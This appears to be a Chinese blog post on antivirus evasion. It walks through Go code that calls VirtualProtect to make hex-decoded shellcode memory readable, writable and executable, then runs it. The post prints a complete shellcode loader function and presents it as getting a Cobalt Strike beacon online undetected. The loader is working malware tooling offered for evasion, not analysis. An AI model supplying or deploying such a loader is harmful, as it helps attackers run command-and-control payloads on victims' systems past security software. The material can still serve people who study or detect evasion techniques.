天天看點

我的免殺之路:虛拟保護

簡述

虛拟保護技術利用的是 Windows API 中的 VirtualProtect 函數,是對應 Win32 函數的邏輯包裝函數,它會在呼叫處理程式的虛拟位置空間裡,變更認可頁面區域上的保護。說明白點,它的作用就是改變調用程序的一段頁的保護屬性,如果想要改變其他程序,就需要用到 VirtualProtectEx 函數。這裡,我利用 VirtualProtect 函數将 shellcode 所在記憶體區域設定為可執行模式,并且設定好 shellcode 所在記憶體起始位址以及記憶體原始屬性類型儲存位址,這樣的 shellcode 記憶體區域被設定成可執行模式後,shellcode 就會被正常執行了。

實作思路

關于VirtualProtect函數代碼如下:

​func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

ret, _, _ := procVirtualProtect.Call(

uintptr(lpAddress),

uintptr(dwSize),

uintptr(flNewProtect),

uintptr(lpflOldProtect))

return ret > 0

}

簡單的解釋下以上的參數

lpAddress:要改變屬性的記憶體起始位址(shellcode所在記憶體空間的起始位址)

dwSize:要改變屬性的記憶體區域大小(shellcode長度大小)

flNewProtect:記憶體新的屬性類型,設定為PAGE_EXECUTE_READWRITE(0x40)時該記憶體頁為可讀可寫可執行。(此值為0x40)

備注:為什麼是0x40,這個值怎麼來的。下方連結有介紹哈,這裡我簡單解釋一下。這是填的是記憶體保護常數,常數的值不同所對應的功能也不一樣,對照連結裡面的描述,因為現在我需要這個記憶體區域的可執行權限和寫權限,是以這裡的值必須得是0x40才能滿足我的需求。

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

lpflOldProtect:記憶體原始屬性類型儲存位址。

再來看看核心代碼部分:

​func ShellCodeVirtualProtect(sc string) {

f := func() {}

var oldfperms uint32

if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {

panic("Call to VirtualProtect failed!")

}

ds, _ := hex.DecodeString(sc)

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))

var oldshellcodeperms uint32

if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {

panic("Call to VirtualProtect failed!")

}

f()

}

可見其核心就是利用 VirtualProtect 函數實作,ds 就是 shellcode。如果函數成功,則傳回值非零。如果函數失敗,則傳回值為零。

最後的CS上線免殺效果:

我的免殺之路:虛拟保護
我的免殺之路:虛拟保護
我的免殺之路:虛拟保護

參考資料:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect https://blog.csdn.net/weixin_34004576/article/details/90360650 https://blog.csdn.net/zacklin/article/details/7478118

繼續閱讀